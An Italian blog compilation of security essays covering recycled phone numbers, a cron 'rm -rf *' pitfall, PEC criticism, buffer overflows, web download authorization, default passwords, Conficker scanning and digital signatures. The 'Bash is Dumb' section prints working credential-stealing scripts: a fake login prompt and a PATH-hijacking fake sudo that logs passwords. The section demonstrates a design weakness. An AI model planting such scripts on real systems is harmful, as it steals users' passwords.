Skip to content

sicurezza

Numeri di telefono riciclati: una falla di sicurezza?

Commento del febbraio 2023 su un blog, in risposta a un articolo che raccontava il caso di un utente che aveva ereditato per caso l'account WhatsApp di un'altra persona a causa del riutilizzo del numero di telefono.

Quando mi è stato assegnato il primo cellulare di lavoro, molti anni fa, ho cominciato a ricevere SMS e telefonate da amici che non sapevo di avere, che mi invitavano a feste ed eventi vari.

Una signora, che si spacciava per mia nonna, mi chiamava spesso piangendo per dirmi che, anche se mi rifiutavo di riconoscerla, per lo meno avevo ripreso a risponderle al telefono.

Infine un ragazzo mi accusava di avergli rubato cellulare e numero di telefono.

Gli operatori telefonici riutilizzano sempre i numeri di telefono, nel mio caso devono averlo fatto un po' troppo in fretta.

Il problema

Per quanto riguarda questa falla di sicurezza, mi sembra talmente scontata che mi stupisco che sia stata sottovalutata: nella maggior parte dei servizi di messaggistica il numero di telefono viene verificato solo in fase di attivazione (tramite chiamata o SMS) e poi l'applicazione viaggia su binari diversi rispetto alla SIM.

Puoi cambiare SIM, numero di telefono, puoi anche togliere la SIM, etc. ma a WhatsApp la cosa non interessa. Se un numero viene riassegnato, WhatsApp come fa a sapere se sei il vecchio utente di prima che ha cambiato telefono o un nuovo assegnatario del numero?

Le policy di cancellazione automatica per inattività (come i canonici 45 giorni previsti da alcune piattaforme) mitigano solo in parte il fenomeno, ma restano una toppa parziale.

Lo stesso problema con i domini

Ah, il problema succede anche con i domini internet. Se un dominio viene riassegnato, cosa che avviene per diverse ragioni non sempre volontarie, il nuovo proprietario può non solo leggere tutta la tua (nuova) corrispondenza, ma anche prendere accesso a tutti gli account esterni se registrati con una casella di posta legata al dominio "perduto".

Il pattern è sempre lo stesso: una risorsa viene riassegnata, ma i servizi che ci si appoggiano non lo sanno.

Quando cd fallisce, rm non perdona

Commento su un blog, in risposta a una discussione su script schedulati e cattive pratiche in shell scripting.

Ho visto di peggio (ma non sono stato io!), ad esempio il seguente task schedulato - semplifico un po':

cd /var/programma/temp
rm -rf *

Nessun errore, tutto corretto no? Tutto funziona alla perfezione per diverso tempo.

Sennonché un giorno il disco dove si trova la cartella temp va in fault, ma niente di grave: alla fine è solo una cartella temp...

...poi però parte il task schedulato, il comando cd va in errore ma lo script non intercetta l'errore e continua...

Nota tecnica: il rm -rf * viene eseguito nella directory corrente. In cron, la directory corrente è la home dell'utente (o / se lo script gira come root). Il risultato è che lo script cancella tutto quello che trova lì, non quello che credeva di cancellare.

Due caratteri fanno la differenza:

cd /var/programma/temp && rm -rf *

L'operatore && esegue il secondo comando solo se il primo è andato a buon fine. Se cd fallisce, rm non viene eseguito.

La PEC: progettata male e realizzata peggio

La PEC rappresenta il tentativo di trasporre la raccomandata con ricevuta di ritorno dal mondo analogico a quello digitale, con tutti gli identici problemi (inevitabili, ma conosciuti e accettati) più una miriade di problemi nuovi.

Ne ho viste di tutti i colori, caselle PEC piene di enti pubblici, importanti aziende, privati... (ma per quanto tempo sei tenuto a mantenere i messaggi?):

  • Ricevute arrivate, ma PEC sparite nel nulla.
  • Gente che pretende di inviare allegati da 200 MB (ogni provider ha regole diverse).
  • Gente che invia allegati in formati strani e creativi. Cosa succede se il destinatario non è in grado di leggerli?

Oltre al problema, noto, ovvero che non sempre si conosce l'associazione tra casella di posta e soggetto giuridico che ci sta dietro.

A livello di sicurezza poi non ci siamo. I server di posta tradizionali — Postfix, Exim, Dovecot — sono software open source, usati da milioni di persone nel mondo, aggiornati regolarmente, e comunque presentano costantemente numerosi bug. Figuriamoci un software proprietario, chiuso, gestito da pochi fornitori: chi lo sviluppa? Chi lo aggiorna? Quanti occhi lo guardano? Se i bug si trovano anche nei progetti open source più grandi e controllati, cosa ci si può aspettare da un software di nicchia che nessuno può vedere?

Poi certo agli utenti piace, sostanzialmente perché possono inviare infinite "raccomandate elettroniche" a costo quasi zero ed il destinatario ha l'obbligo di rispondere.

Purtroppo si tratta di uno strumento che cerca di risolvere un'esigenza reale, però è progettato male e realizzato peggio.

Come funziona un buffer overflow

Commenti del 25 ottobre 2019 su un blog, in una discussione sulla sicurezza dei file audio e sui malware. Li ho riorganizzati in un unico testo.

Il buffer overflow è stato uno dei vettori di attacco più comuni, e non è che sia del tutto sparito. I vari sistemi operativi recenti offrono protezioni aggiuntive che, in combinazione con funzionalità hardware, rendono sempre più difficile la cosa. Ma vale la pena capire come funziona.

Un errore classico

Storicamente funzionava così:

  • un programmatore dichiarava un buffer di una certa dimensione, es. 80 caratteri
  • un attaccante malevolo passava in input al programma un parametro troppo lungo, es. 800 caratteri
  • il programma, causa bug, non applicava tutti i controlli necessari e copiava l'input da 800 caratteri sul buffer da 80
  • i caratteri eccedenti andavano a sovrascrivere aree di memoria non previste, che con un po' di fortuna potevano essere associate ad esempio ad altre variabili - ecco che con questo trucco potremmo andare a cambiare dei valori cui non dovremmo avere accesso, e quindi cambiare le logiche di esecuzione del programma
  • meglio ancora, le aree di memoria non previste potevano essere associate allo stack. Quando richiamo una funzione (call) viene inserita nello stack la posizione dell'istruzione che segue la call, in modo da ritornare lì (ret) una volta terminata la funzione. Ecco che modificando i valori inseriti nello stack, tra cui l'elenco delle istruzioni cui riprendere l'esecuzione terminata una funzione, possiamo dire ad un programma di eseguire le istruzioni di una qualsiasi area di memoria, magari proprio all'interno di questi 800 caratteri.

Ecco, quanto descritto è un metodo "classico" causato da un errore "classico": buffer troppo corto, mancanza di adeguati controlli.

Perché funziona

Devi ragionare in termini di linguaggio macchina, e devi pensare a come il tuo codice C o C++ è compilato e a come viene poi eseguito. L'attacco che ho descritto è - era? - molto comune, ed è stato usato con successo diverse volte: la maggior parte dei worm che si diffondevano in rete sfruttavano proprio questa tecnica.

L'attacco consiste nell'inviare una stringa molto più lunga di quanto il programma ha previsto, che contiene:

  1. il codice macchina malevolo da eseguire
  2. l'indirizzo del codice macchina al punto 1

In particolare, l'indirizzo al punto 2 oltre a dover essere calcolato precisamente, è indispensabile che sia perfettamente allineato, in modo che si sovrapponga alla struttura dati che contiene le "informazioni di controllo dell'esecuzione" del programma.

Il buffer può trovarsi dove si vuole, ma la sua posizione relativa potrebbe essere sempre la stessa, ecco perché il sistema funziona. Vari sistemi, come l'Address Space Layout Randomization, cercano appunto di rendere le posizioni relative non prevedibili, per cui questo tipo di attacco è molto più difficile (ma non impossibile).

Un crash non è la fine

In sostanza, è vero che la maggior parte delle volte un bug di questo tipo produce un errore di segmentation fault, ma inviando dei dati malvagi, preparati con grande accuratezza, è possibile far eseguire al programma qualche cosa di non previsto.

Non sempre questi bug sono sfruttabili (exploitabili): si potrebbe riuscire a mandare in crash il programma ma potrebbe non essere possibile controllarne l'esecuzione. Comunque un bel crash promette sempre bene.

Un errore di segmentation fault è un punto di partenza, da solo serve poco se non per mettere in piedi attacchi DoS (denial of service), ma significa che il programma ha qualche bug che potrebbe essere sfruttato per un attacco.

Le protezioni moderne

Questo metodo è sempre più difficile da applicare:

  • i compilatori potrebbero segnalare dei warning
  • gli strumenti di analisi del codice dovrebbero essere in grado di segnalare probabili bug di questo tipo
  • i sistemi operativi nonché i processori offrono protezioni aggiuntive, come l'ASLR, il DEP, lo stack canary

Ci sono comunque anche diverse strategie di attacco.

Nota sui file audio e sulle immagini

Un'ultima precisazione: la frase "non è possibile infettarsi semplicemente scaricando e ascoltando un file audio WAV" andrebbe esplicitata meglio.

Nemmeno con i file JPG, HTML, o Flash sarebbe teoricamente stato possibile infettarsi, nemmeno con le e-mail (sono solo dei banali testi!) o con le chiavette USB, eppure causa programmi vulnerabili è successo più di qualche volta.

Programmatori pazzi

Bene o male, ma soprattutto male, qualunque sviluppatore impara a scrivere qualche piccola applicazione per il Web.

Magari abbiamo scritto la nostra applicazione per tenere traccia delle attività da svolgere, come pagare la bolletta del metano, ricordarsi di revisionare la macchina, portare Tobia alla toelettatura per cani, consegnare un nuovo prototipo al cliente, o pagare gli alimenti per la prole alla ex fidanzata. L'accesso all'applicativo sarà previa autenticazione, e gli utenti potranno inserire i propri dati, leggerli in tabella, ricercarli, filtrarli.

Poi che cosa manca? Gli utenti, oltre ad interagire con l'applicativo Web, vorranno scaricare i dati e portarli sul telefonino, farsene una copia su chiavetta, o importarli in Excel e farci qualche piccola elaborazione.

Da qualche parte nella pagina si dovrà predisporre un link o una paginetta di download, e gli utenti, dopo aver aggiustato qualche filtro, potranno scaricare il file sul proprio client e gestirlo come preferiscono.

E quindi, il programmatore medio che cosa si inventa? Generalmente la tecnica scelta si attesta intorno a queste soluzioni:

  1. si crea una bella crontab sul server, con una riga che viene eseguita ogni tot giorni, che crea una estrazione per ogni utente in \var\www\home\downloads\attivita-nomeutente.dat ;
  2. la pagina di download, quando viene richiamata, inizia a scrivere un file in \var\www\home\downloads\attivita-nomeutente.dat. Una volta competato il file, viene mandato in output un bel link all'estrazione appena creata;
  3. la pagina di download richiama un processo sul server che inizia a scrivere un file in \var\www\home\downloads\attivita-nomeutente.dat. Poichè il processo è asincrono, si mette uno sleep di 5 secondi in modo da dare il tempo al processo asincrono di completare il file. Poi ci mettiamo un bel link al file appena generato.

Notate qualche cosa di strano?

La prima tecnica è molto limitata: come possiamo applicare dei filtri? Ma uno sviluppatore creativo è in grado di risolvere anche questo: in fondo, quanto ci vuole a creare in anticipo tutti i file con tutti i filtri possibili ed immaginabili, tutti già preimpostati?
Per la seconda tecnica, uno script con privilegi di scrittura su di una cartella che poi verrà servita tramite server HTTP è il sogno di ogni criminale informatico. Ma se proprio non ci sono altre possibilità, conviene almeno sapere che oltre al chmod 777 o all'Everyone Full Control esistono anche svariate vie di mezzo.
Per la terza ogni commento è superfluo. Posso solo giurare di aver visto anche questo!

Se però non avete notato altro, forse la sicurezza informatica non è il vostro mestiere, e probabilmente non lo sarà mai.

Il vero problema, grosso come un pilone portante del Burj Khalifa di Dubai, è che se mettiamo un file in \var\www\home\downloads_ l'utente vi potrà accedere felicemente andando al link _http://www.example.com/downloads/attivita-nomeutente.dat ma oltre al nostro amico autorizzato vi potrà entrare anche tutto il resto del mondo. Certo, disabilitare il browsing delle directory è senz'altro un'idea brillante, ma non basta.

Il concetto è che al nostro Web Server non importa assolutamente nulla dell'autenticazione che abbiamo sviluppato nel nostro programma: abbiamo implementato un sistema di autenticazione per le nostre paginette Web? Bene. Abbiamo utilizzato un framework che implementa la parte di sicurezza? Meglio ancora. Ma questo sistema lo dobbiamo implementare anche per i nostri file. Solo allora possiamo servire le nostre pagine, dinamicamente, e protette dalle nostre credenziali.

(Ci sono casi in cui generare precedentemente i file da far scaricare agli utenti è cosa buona e giusta; tra l'altro il Web Server è sicuramente molto più veloce del nostro script nel servire le pagine; in questi casi però cerchiamo almeno di dare ai file un indirizzo URL casuale).

Unix e le password di default...

Qualche settimana fa ricevo un avviso automatico che segnala un probabile malfunzionamento ad un apparato hardware che abbiamo in sala macchine.
Ora, generalmente non mi occupo di queste cose, ma visto che in ufficio non c'era nessun altro prendo in carico la segnalazione e chiamo l'assistenza:

Tecnico help desk : Sì, sembrerebbe proprio un guasto hardware, se è così faccio subito uscire un tecnico per la riparazione. Possiamo fare un po' di troubleshooting per avere conferma che si tratti di proprio un guasto hardware?
Io : Certamente... ma mi deve spiegare come fare perché non è un apparato che conosco o che gestisco io!
Tecnico help desk : Allora intanto si colleghi alla console....
Io : V a bene! Mi dia un attimo di tempo che devo recuperare la password...
Tecnico help desk : La password? Nessun problema, quella gliela posso comunicare io!
Io : Ah, però! Conoscete le password degli apparati dei clienti? Che efficienza! :-)
Tecnico help desk : A llora, le detto le credenziali: l'utente è root, e la password abcde123
Io : Ehm, abcde123? Ma cos'è? La password di default?? Perché c'è una leggera probabilità che nella nostra azienda le password di default vengano modificate...
Tecnico help desk : (silenzio)
Io : Ehm, ma è la prima volta che vi capita un cliente che modifica la password dei propri apparati?
Tecnico help desk : (silenzio)

Una volta recuperata la vera password, ed una volta confermato il guasto hardware, nel giro di un paio d'ore arriva il tecnico on site:

Tecnico on site : Questo è il pezzo da sostituire. Ora dobbiamo entrare nella console e disabilitare quello guasto prima di scollegarlo.
Io : OK, mi collego alla console...
Tecnico on site : Perfetto... l'utente è root e la password è abcde123....

Sistemato anche questo, chiamo il nostro consulente e chiedo conferma che il problema sia stato risolto:

Consulente : Allora! Prima di lasciare andare via il tecnico, puoi fare qualche controllo?
Io : Certamente! Basta che mi spieghi come fare...
Consulente : Allora, ti colleghi alla console, la password è abcde123 e....

Uhm! Ho l'impressione che nel mondo Unix la sicurezza non sia sempre presa molto sul serio...

Bash is Dumb

Microsoft Windows è universalmente riconosciuto come il sistema operativo più insicuro della storia, e l'infinita quantità di sistemi attaccati con successo da software malvagio ce lo sta giornalmente a confermare. I vari Linux, Unix, e di conseguenza anche Mac, sono considerati intrinsecamente ed architetturalmente più sicuri. Ma sarà davvero così?

Prendendo spunto da qualche idea presa qua e là, ho voluto provare a vedere se il sistema è davvero così inattaccabile come si dice.

Spoofing negli anni 80
L'idea è semplice e banale, oltre che vecchia come il cucco. Come rubare le password agli utenti di *nix senza nemmeno usare tecniche di attacco brute force contro le hash degli utenti (che negli anni '80 erano accessibili a tutti)?
Più semplice che rubare caramelle ad un bambino: basta scrivere un bello script bash come il seguente: 

while true; do
  clear
  echo -n Login:
  read login
  echo -n Password:
  read -s password
  echo \"$login\"; \"$password\" >> .password_rubate
  echo Sorry, please try again
done

lanciarlo in esecuzione, e spostarsi dalla postazione lasciando attiva la propria sessione.

Chiaro che tale tecnica di attacco ha delle evidenti controindicazioni : tanto per cominciare è in modalità testo ed oggi quasi tutti preferiscono la grafica; in secondo luogo un utente furbetto potrebbe facilmente accorgersi dell'inganno; in terzo luogo un amministratore lancerà un bel userdel vostroaccount , con gioia ed allegria. E' un tipico esempio di phishing (o spoofing), il classico scherzo da aula informatica universitaria.

Certo è un esempio banale, ma è interessante notare che il sistema non sta facendo nulla per proteggerci!

Spoofing Moderno
Il vecchio attacco potrebbe funzionare per davvero, ma se nessuno ne ha mai tratto grossi benefici forse una ragione c'è. Prendiamo spunto dall'esempio precedente, e saliamo (poco) di livello.

Su piattaforma *nix esistono dei programmi che richiedono l'inserimento di una password per svolgere alcune operazioni; tali programmi potrebbero richiedere la password di un utente non privilegiato, oppure dell'utente root. In questo modo si viene incentivati ad utilizzare account con privilegi limitati, e questo è bene.

Facciamo un breve controllo? 

macbook-pro:~ fthiella$ echo $PATH
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ which su
/usr/bin/su
macbook-pro:~ fthiella$ which sudo
/usr/bin/sudo

naturalmente su e sudo non sono file modificabili, e se scrivere un buon keylogger è complesso, eseguirlo senza privilegi è ancora più complicato. Vediamo se si può sfruttare qualche ingenuità della shell? 

macbook-pro:~ fthiella$ touch ~/su
macbook-pro:~ fthiella$ chmod +x ~/su
macbook-pro:~ fthiella$ touch ~/sudo
macbook-pro:~ fthiella$ touch +x ~/sudo
macbook-pro:~ fthiella$ export PATH=~:$PATH
macbook-pro:~ fthiella$ which su
/Users/fthiella/su
macbook-pro:~ fthiella$ which sudo
/Users/fthiella/sudo

argh! Oppure anche questo è divertente: 

macbook-pro:~ fthiella$ echo \#\!/bin/bash > ~/su
macbook-pro:~ fthiella$ echo echo Perepèperepè >> ~/su
macbook-pro:~ fthiella$ chmod +x ~/su
macbook-pro:~ fthiella$ echo \#!/bin/bash > ~/sudo
macbook-pro:~ fthiella$ echo echo Prrrrrrrrrrr >> ~/sudo
macbook-pro:~ fthiella$ chmod +x ~/sudo
macbook-pro:~ fthiella$ alias su=~/su
macbook-pro:~ fthiella$ alias sudo=~/sudo
macbook-pro:~ fthiella$ su -
Perepèperepè
macbook-pro:~ fthiella$ sudo apt-get update
Prrrrrrrrrrr

did you get the point?

Esempio
Beh supponiamo di riuscire a convincere un utente scemotto ad eseguire il seguente scriptino. Come convincerlo? Un po' di ingegneria sociale... un programma che sembra utile ma contiene qualche funzioncina non documentata... un bug di qualche applicativo (es. FireFox) anche se eseguito con privilegi limitati. 

#!/bin/bash
if [[ `which sudo` == /usr/* ]]
then
  echo "echo -n \"Password:\"" > ~/sudo
  echo "read -s password" >> ~/sudo
  echo "echo \"\$password\" >> ~/.password_rubate" >> ~/sudo
  echo "echo \"\$password\" | `which su` -S \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9" >> ~/sudo
  chmod +x ~/sudo
  export PATH=~:$PATH
fi

funzionerà? 

macbook-pro:~ fthiella$ echo $PATH
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ . ./attack.sh
macbook-pro:~ fthiella$ echo $PATH
/Users/fthiella:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ cat ~/sudo
echo -n "Password:"
read -s password
echo "$password" >> ~/.steal_password
echo "$password" | /usr/bin/sudo -S $1 $2 $3 $4 $5 $6 $7 $8 $9
macbook-pro:~ fthiella$ sudo ls
Password:

è interessante notare che la richiesta di password arriva dal finto sudo, e non da quello vero. Mediante semplici impostazioni che non richiedono privilegi elevati, possiamo intercettare con gaudio le password del sistema.

Conclusioni
Gli esempi sono talmente banali che molti si domanderanno se si tratti sul serio di un problema architetturale di sicurezza. Certo per metterlo in pratica con successo ci vuole molto altro, ma un problema è difficile negare che non ci sia.

Forse impedire agli utenti di creare eseguibili nelle proprie aree aiuta molto (ma bisogna lavorare molto bene con i privilegi, e diventa un lavoro molto complesso).

Naturalmente queste tecniche non funzionano in modalità grafica, ma se la protezione non viene garantita dal sistema operativo, ho come il sospetto che qualche trucco funzionante lo si trovi comunque.

Bloccare gli aggiornamenti software

Disabilitare gli aggiornamenti del sistema operativo oppure del software applicativo è in genere una pratica da evitare : un sistema aggiornato è più stabile, e molto più sicuro!

Ad oggi le poche aziende che non hanno attivato un sistema di aggiornamento automatico per il sistema operativo Windows ne pagano le conseguenze (vedi ad esempio Conficker). Ed è curioso notare che, poiché un sistema Windows aggiornato e configurato adeguatamente offre sistemi di sicurezza avanzati e difficili da aggirare, si sta assistendo ad un cambio di tendenza e l'obiettivo principale degli attacchi del malware più recente si sta spostando dal sistema operativo agli applicativi utente installati sopra.

Applicazioni che girano in modalità utente quali Flash Player, Silverlight, Acrobat Reader, Internet Explorer, Firefox e relativi plugin, sono tutte ottime candidate.... i bug non mancano mai, e se ci riflettiamo un poco perché attaccare tutto il sistema? Dati sensibili, password e quant'altro si trovano proprio dal lato utente!

Naturalmente verso questo tipo di attacchi il famigerato UAC di Windows Vista e Windows 7 spesso non può fare molto... così come può fare ben poco la richiesta di password dei vari Linux, o MacOS: il sistema è protetto, e va bene, ma i dati degli utenti forse non troppo!

Perché quindi bloccare gli aggiornamenti del software applicativo?

Ci devono essere delle ottime ragioni, ed una di queste è che gli aggiornamenti spesso e volentieri sono progettati per funzionare su computer domestici , in cui l'utente ha accesso ad Internet completo ed accede al desktop con amministrativi.

In un'azienda non tutti i PC hanno accesso ad Internet , quelli che vi accedono probabilmente dispongono di un accesso filtrato , ed anche se riescono a scaricare gli aggiornamenti, propabilmente non riescono ad installarli poiché l'utente non dispone di diritti per aggiornare il software installato.

Normalmente il software applicativo presente nei computer aziendali non è lo stesso software che può scaricare l'utente finale: in genere è preferibile distribuire versioni amministrative o aziendali oppure versioni ripacchettizzate (es. Firefox, Flash Player, e Acrobat Reader si trovano anche in versione MSI, e nel caso in cui non si trovino, basta cercare per esempio sul sito www.appdeploy.com per trovare tutto quello di cui c'è bisogno).

E normalmente il software applicativo viene configurato per non aggiornarsi automaticamente: gli aggiornamenti sono disabilitati, perché è inutile disporre di decine di updater uno per ogni servizio, quando invece sono disponibili applicazioni apposite per la distribuzione di tutti gli aggiornamenti!

Cosa fare per tutto il software che invece è stato scaricato da una versione "tradizionale" e quindi con gli aggiornamenti attivati?

In genere le informazioni di configurazione sono sparsi in qualche chiave di registro, naturalmente nella HKLM. Abbiamo bisogno quindi di un buon script WSH da eseguire all'avvio della macchina da lanciare con privilegi amministrativi.

Creiamo una nuova policy, e su Computer Configuration - Windows Settings - Scripts aggiungiamo uno script di avvio simile al seguente: 

Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")

On Error Resume Next

' disabilita aggiornamenti Adobe Acrobat

WshShell.RegWrite "HKLM\Software\Policies\Adobe\Acrobat Reader\8.0\FeatureLockdown\bUpdater", 0, "REG_DWORD"
WshShell.RegWrite "HKLM\SOFTWARE\Policies\Adobe\Acrobat Reader\9.0\FeatureLockdown\bUpdater", 0, "REG_DWORD"
WshShell.RegWrite "HKLM\SOFTWARE\Adobe\Acrobat Reader\9.0\AdobeViewer\EULA", 1, "REG_DWORD"
WshShell.RegWrite "HKLM\SOFTWARE\Adobe\Acrobat Reader\9.0\AdobeViewer\Launched", 1, "REG_DWORD"

' disabilita aggiornamenti Java

WshShell.RegWrite "HKLM\SOFTWARE\JavaSoft\Java Update\Policy\EnableJavaUpdate",  0, "REG_DWORD"
WshShell.RegWrite "HKLM\SOFTWARE\JavaSoft\Java Update\Policy\EnableAutoUpdateCheck", 0, "REG_DWORD"

Wscript.Quit

Questi sono i parametri che ho trovato in giro. Ovviamente possiamo personalizzare questo script a piacimento per supportare altri programmi oppure altre versioni. Naturalmente cerchiamo di farne buon uso!

Llo stesso identico procedimento può essere utilizzato per modificare all'avvio qualsiasi chiave di sistema oppure, se creiamo lo script lato utente, possiamo impostare le chiavi in HKEY_CURRENT_USER.

Molto utile quindi non solo per gli aggiornamenti, ma anche per poter preconfigurare ad ogni avvio una buona parte del software lato desktop.

Conficker

Mentre molte aziende sono state colpite in maniera massiccia dall'infezione del worm Conficker, nella mia realtà il problema è passato quasi del tutto inosservato: d'altra parte i requisiti di sicurezza per evitare il propagarsi di un'infezione di questo tipo sono decisamente di base, e dovrebbe far riflettere il fatto che molte aziende che trattano dati personali o sensibili non siano state adeguatamente preparate ad una tale evenienza.

In ogni caso, è bene non abbassare la guardia, visto che il Conficker è un worm che non perdona alcuna leggerezza! Per tutte le informazioni relative al worm vedere questo articolo: "Considerazioni per un efficace contenimento dell'infezione Conficker.B".

Uno dei problemi principali consiste nell'individuare quali siano le macchine infette. Fortunatamente sono disponibili numerosi tool di scansione della rete in grado di rilevare eventuali sistemi infetti (vedere Conficker Remote Scanners), tra i quali è presente anche nmap. La sintassi per controllare una macchina od una rete remota è la seguente:

nmap -PN -T4 -p139,445 -n -v --script smb-check-vulns,smb-os-discovery --script-args safe=1 [targetnetworks]

Bisogna comunque tenere in considerazione il fatto che molti pc potrebbero essere spenti od essere collegati alla rete solo saltuariamente, e purtroppo avere un inventario esatti di tutti i pc che "mancano all'appello" non è sempre facile. Ho pensato quindi di far girare saltuariamente il seguente script su di un domain controller: 

@echo off  
for /f "tokens=4 delims=: " %%a in ('netstat -na^|find "ESTABLISHED"') do (  
nmap -PN -T4 -p139,445 etc. %%a >> scan_%%a  
)

Questo script estrae tutti gli indirizzi IP che hanno una connessione correntemente aperta con il domain controller, ed effettua una scansione remota sugli indirizzi rilevati.

Certo il rischio è quello di effettuare numerose scansioni allo stesso indirizzo IP, ed il rischio è che alcune connessioni possano venire allegramente ignorate (meglio un windump piuttosto di un netstat, se non vogliamo farci sfuggire nulla). Naturalmente se sarà necessario, sono pronto a modificare lo script per renderlo più funzionale!

Ah un po' di informazioni sul comando for si trovano a questa pagina http://www.ss64.com/nt/for.html.

Firma Digitale

La firma digitale è un procedimento che, a partire da un documento informatico e da alcune informazioni associate ad una persona, produce un nuovo oggetto informatico firmato che attesta la volontà della persona di sottoscrivere il documento originario.

Il procedimento che viene applicato al documento da firmare si basa sulla crittografia a chiave asimmetrica, e per avere valore legale equivalente alla firma autografa deve soddisfare dei particolari requisiti.

Crittografia

La crittografia è nata per trasmettere messaggi tra un mittente ed un destinatario in modo sicuro, utilizzando però un canale di trasmissione non sicuro. Un sistema di crittografia serve ad offuscare i messaggi e renderli illeggibili da chiunque non disponga della chiave per decifrarli.

Nella crittografia a chiave simmetrica la chiave che si utilizza per cifrare i messaggi è la stessa chiave che serve a decifrarli.

Naturalmente mittente e destinatario hanno la necessità di scambiarsi in qualche modo la chiave, e per farlo devono utilizzare un canale di trasmissione sicuro; ma se dispongono di un canale sicuro, per quale motivo non utilizzano esclusivamente questo canale anche per i messaggi? Perché il canale sicuro potrebbe essere molto costoso, oppure potrebbe essere disponibile solamente in intervalli di tempo limitati (ad esempio a volte ci si deve trovare di persona per scambiarsi le chiavi).

Quando mittenti e destinatari cominciano a diventare numerosi, oppure quando non si conoscono di persona, la crittografia a chiave simmetrica comincia a mostrare i suoi limiti.

Crittografia Asimmetrica

La crittografia a chiave asimmetrica utilizza invece due chiavi diverse per le operazioni di cifratura e decifratura, permettendo di semplificare il compito di distribuzione delle chiavi. Queste due chiavi sono associate tra di loro e dispongono di una proprietà che le rende molto utili: tutti i messaggi cifrati con una chiave possono essere decifrati soltanto con l'altra chiave, e viceversa. Dal punto di vista logico, queste chiavi funzionano in modo simmetrico. Asimmetrico è l'utilizzo che se ne fa: poiché da una chiave non è possibile ricavare la sua chiave associata, è possibile rilasciare pubblicamente una chiave, la quale prende il nome di chiave pubblica, mentre l'altra chiave, che viene mantenuta segreta, prende il nome di chiave privata.

Per inviare un messaggio sicuro ad un determinato destinatario, è necessario ottenere la sua chiave pubblica e cifrare il messaggio con tale chiave: solamente il destinatario legittimo è in grado di decifrarlo, poiché è l'unico che possiede la sua chiave privata.

Ma tutto questo che cosa c'entra con la firma?

Applicando lo stesso ragionamento al contrario, se un messaggio è decifrabile tramite una chiave pubblica abbiamo la garanzia che esso sia stato cifrato dalla persona a cui è associata tale chiave, poiché è l'unica che possiede la relativa chiave privata.

Certificati

Tutto così semplice? Naturalmente no!

Per scrivere un messaggio sicuro ad un destinatario devo per prima cosa ottenere la sua chiave pubblica; ma come faccio ad essere certo: 1. che il destinatario sia proprio chi mi dice di essere, e 2. che la chiave pubblica sia proprio la sua?

Lo stesso discorso naturalmente vale per il procedimento inverso: per essere certo che un messaggio sia stato cifrato da un utente utilizzando la sua chiave privata, devo essere sicuro di disporre esattamente della sua chiave pubblica.

Scopo dei certificati digitali è proprio di garantire che una chiave pubblica sia associata alla vera identità del soggetto che la rivendica come propria. Un certificato digitale è un documento, firmato elettronicamente da un'autorità di certificazione fidata, che associa una chiave pubblica con un'identità.

Ovviamente per verificare se il certificato digitale è valido, è necessario disporre della chiave pubblica del certificatore: ma gli enti certificatori fidati sono pochi, e le loro chiavi pubbliche possono essere distribuite agevolmente tramite canali sicuri (ad esempio generalmente vengono installate con il sistema operativo).

Dispositivi sicuri

Affinché il sistema della cifratura o della firma funzioni correttamente, è indispensabile garantire che la chiave privata sia mantenuta davvero privata. Se la chiave è memorizzata su di un file su disco o su di una memoria di massa, c'è sempre il rischio che venga in mano a terzi non autorizzati al suo utilizzo. Per evitare questo rischio è necessario utilizzare dei dispositivi di firma sicuri, dei dispositivi cioè che dispongono di una chiave privata la quale, una volta generata, non può essere esportata all'esterno.

Una smart card è un dispositivo di questo tipo: al suo interno contiene infatti una chiave privata che non può essere esportata, e dispone di un chip che effettua le operazioni crittografiche utilizzando la chiave memorizzata all'interno.

Requisiti per la firma digitale

In base alla normativa vigente, la firma forte è l'unica firma che attribuisce al documento informatico una valenza probatoria, e prevede la presenza di una Certification Authority iscritta all'albo dell'AIPA (oggi AgID) e l'utilizzo di un dispositivo di firma sicuro. La firma digitale è un tipo di firma forte.

(Nota: la terminologia "firma forte" / "firma debole" è stata superata dal regolamento eIDAS e dal CAD. Oggi si parla di firma elettronica qualificata, firma digitale, firma elettronica avanzata, firma elettronica semplice. I principi tecnici restano gli stessi.)

Una firma che non possiede i requisiti precedenti è detta firma debole: la valenza probatoria del documento firmato tramite firma debole è soggetta alla discrezionalità del giudice.

Impronta del documento

L'impronta è un processo tramite il quale è possibile ottenere da un oggetto informatico di dimensione qualsiasi una sequenza di bit a lunghezza fissa (ad esempio 128 o 160 bit nel 2009, oggi 256 bit e oltre). Visto che l'impronta ha lunghezza fissa mentre l'oggetto di origine può avere qualsiasi lunghezza, è naturalmente possibile ottenere delle collisioni, ovvero più oggetti diversi possono avere la stessa impronta. Un algoritmo che calcola le impronte dei documenti è sicuro se non permette di ottenere facilmente, data un'impronta, un oggetto che possa generarla.

Ridurre documenti di qualsiasi dimensione ad una stringa di bit molto corta permette di effettuare calcoli molto più veloci rispetto a quelli necessari nel caso in cui l'operazione dovesse effettuarsi sul documento intero.

Procedura di generazione di un documento firmato

Il titolare di una coppia di chiavi può firmare digitalmente un documento adottando la seguente procedura:

  • calcola l'impronta del documento
  • esegue la cifratura dell'impronta utilizzando la sua chiave privata
  • allega il documento in chiaro
  • allega l'impronta cifrata del documento
  • allega il certificato rilasciato dall'autorità di certificazione

Tutti gli allegati vengono inseriti in una busta formato standard PKCS#7 (oggi CAdES per i file .p7m, PAdES per i PDF, XAdES per l'XML) che viene spedita al destinatario.

Il destinatario, per essere certo dell'autenticità e dell'integrità del messaggio arrivato, effettua la seguente procedura di verifica:

  • accede al certificato del mittente, contenuto nella busta
  • verifica tramite l'autorità di certificazione che il certificato non sia stato revocato o sospeso
  • decifra l'impronta del documento con la chiave pubblica del mittente
  • calcola l'impronta del documento ricevuto

Se l'impronta calcolata equivale all'impronta decifrata, il documento non è stato manomesso ed è corrispondente a quello che il mittente ha firmato.

Vulnerabilità

Un dispositivo di firma quale la smart card è un dispositivo sicuro. Il PC che calcola l'impronta del documento invece è potenzialmente insicuro: come si può essere certi che l'impronta firmata dalla smart card sia esattamente l'impronta del documento visualizzato ed effettivamente scelto dall'utente?

